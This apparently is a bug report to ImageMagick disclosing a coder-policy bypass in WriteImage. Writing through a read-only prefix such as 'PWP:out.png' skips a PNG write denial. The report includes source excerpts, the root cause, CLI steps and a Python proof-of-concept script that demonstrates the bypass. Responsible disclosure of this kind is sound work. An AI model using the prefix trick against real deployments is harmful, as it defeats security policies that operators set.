WriteImage authorizes the coder-domain write policy against the user's format prefix instead of the resolved encoder

Author: YanhaoxiCreated Aug 21, 2026Updated Aug 22, 2026

ImageMagick version

7.1.2-29

Operating system

Windows

Operating system, version and so on

Windows 11 x64 — code-path bug, platform independent

Description

WriteImage() (MagickCore/constitute.c) enforces the coder-domain write policy before encoding. On the direct path the authorization object and the executed encoder agree, so <policy domain="coder" rights="read" pattern="PNG"/> correctly blocks writing PNG.

When the output uses a format prefix that has a decoder but no encoder (e.g. PWP:, a read-only format), WriteImage falls back to selecting the real encoder from the output file extension (constitute.c:1408-1421, resolving WritePNGImage), but then authorizes against the user-supplied prefix rather than the resolved format — constitute.c:1442:

c
status=IsCoderAuthorized(magick_info->magick_module,write_info->magick,
  WritePolicyRights,exception);   /* coder = "PWP", not the resolved "PNG" */
if (status != MagickFalse)
  status=encoder(write_info,image,exception);   /* actually writes PNG */

As a result, a coder-domain write denial for PNG is not enforced when the caller writes through a read-only prefix. The module domain is checked against the resolved module name and is unaffected.

Root cause: in the fallback branch the coder argument to IsCoderAuthorized should be the resolved format (e.g. magick_info->name), not write_info->magick.

Steps to Reproduce

  1. Provide the policy (exposed via MAGICK_CONFIGURE_PATH):
xml
<policymap>
  <policy domain="coder" rights="read" pattern="PNG"/>
</policymap>
  1. Create a non-PNG input (so the read side is unrelated to the PNG write policy):
magick -size 20x20 xc:red in.bmp
  1. Direct write is correctly denied:
magick in.bmp out.png
magick: NotAuthorized `PNG' @ error/constitute.c/IsCoderAuthorized/456.

(exit code 1; out.png not created)

  1. Writing via a read-only prefix is incorrectly allowed and produces a PNG:
magick in.bmp PWP:out.png
magick: NoEncodeDelegateForThisImageFormat `PWP' @ warning/constitute.c/WriteImage/1393.

(exit code 0; PNG bytes are written — on Windows they land in the out.png alternate data stream of file PWP, a Windows filesystem artifact unrelated to the bug)

  1. Self-checking reproduction script (sets up the policy, creates the input, runs both cases, asserts the distinct outcomes):
python
#!/usr/bin/env python3
# Self-checking reproduction of the WriteImage coder-policy bypass.
#
# Resolution order: $MAGICK_BIN -> `magick` on PATH -> script-relative fallback.
import os
import shutil
import subprocess
import sys
import tempfile

HERE = os.path.dirname(os.path.abspath(__file__))
MAGICK = os.environ.get("MAGICK_BIN") or shutil.which("magick") or shutil.which("convert")

if not MAGICK:
    for cand in (os.path.join(HERE, "..", "magick-7.1.2-29-x64.exe"),
                 os.path.join(HERE, "magick-7.1.2-29-x64.exe")):
        if os.path.exists(cand):
            MAGICK = os.path.abspath(cand)
            break


def run(args, env, cwd=None):
    proc = subprocess.run([MAGICK] + args, stdout=subprocess.DEVNULL,
                          stderr=subprocess.PIPE, env=env, cwd=cwd)
    return proc.returncode, proc.stderr.decode("utf-8", "replace")


def main():
    if not MAGICK:
        print("FAIL: no ImageMagick binary (set MAGICK_BIN or add magick to PATH)")
        return 1

    work = tempfile.mkdtemp(prefix="magick_coder_bypass_")
    cfg = os.path.join(work, "cfg")
    os.makedirs(cfg)
    with open(os.path.join(cfg, "policy.xml"), "w", encoding="utf-8") as fh:
        fh.write('<?xml version="1.0" encoding="UTF-8"?>\n'
                 '<policymap>\n'
                 '  <policy domain="coder" rights="read" pattern="PNG"/>\n'
                 '</policymap>\n')

    env = dict(os.environ)
    env["MAGICK_CONFIGURE_PATH"] = cfg

    in_bmp = os.path.join(work, "in.bmp")
    out_png = os.path.join(work, "out.png")
    pwp_file = os.path.join(work, "PWP")

    print("binary: %s" % MAGICK)
    print("policy: <policy domain=\"coder\" rights=\"read\" pattern=\"PNG\"/>  (allow read, deny write)")

    results = []

    rc, err = run(["-size", "20x20", "xc:red", "in.bmp"], env, cwd=work)
    ok = rc == 0 and os.path.exists(in_bmp)
    results.append(ok)
    print("%s: seed input BMP created (rc=%d)" % ("PASS" if ok else "FAIL", rc))

    rc, err = run(["in.bmp", "out.png"], env, cwd=work)
    denied = ("NotAuthorized" in err) and (rc != 0) and (not os.path.exists(out_png))
    results.append(denied)
    print("%s: direct write (in.bmp -> out.png) denied by coder policy "
          "(rc=%d, NotAuthorized=%s, out.png exists=%s)"
          % ("PASS" if denied else "FAIL", rc, "NotAuthorized" in err,
             os.path.exists(out_png)))

    rc, err = run(["in.bmp", "PWP:out.png"], env, cwd=work)
    allowed = (rc == 0) and ("NotAuthorized" not in err)
    results.append(allowed)
    print("%s: bypass (in.bmp -> PWP:out.png) skips coder authorization "
          "(rc=%d, NotAuthorized=%s)" % ("PASS" if allowed else "FAIL", rc,
                                         "NotAuthorized" in err))

    wrote_png = False
    if os.name == "nt":
        ads_path = pwp_file + ":out.png"
    else:
        ads_path = os.path.join(work, "PWP:out.png")
    try:
        with open(ads_path, "rb") as fh:
            wrote_png = fh.read(4) == b"\x89PNG"
    except OSError:
        wrote_png = False
    results.append(wrote_png)
    print("%s: PNG bytes produced on bypass path (signature check)" %
          ("PASS" if wrote_png else "FAIL"))

    shutil.rmtree(work, ignore_errors=True)
    print("%d/%d checks passed" % (sum(results), len(results)))
    return 0 if all(results) else 1


if __name__ == "__main__":
    sys.exit(main())

Expected output on the affected version:

binary: .../magick.exe
policy: <policy domain="coder" rights="read" pattern="PNG"/>  (allow read, deny write)
PASS: seed input BMP created (rc=0)
PASS: direct write (in.bmp -> out.png) denied by coder policy (rc=1, NotAuthorized=True, out.png exists=False)
PASS: bypass (in.bmp -> PWP:out.png) skips coder authorization (rc=0, NotAuthorized=False)
PASS: PNG bytes produced on bypass path (signature check)
4/4 checks passed

Images

No image upload needed — the reproduction uses a synthetic xc:red canvas (see commands above); no external/input image is required.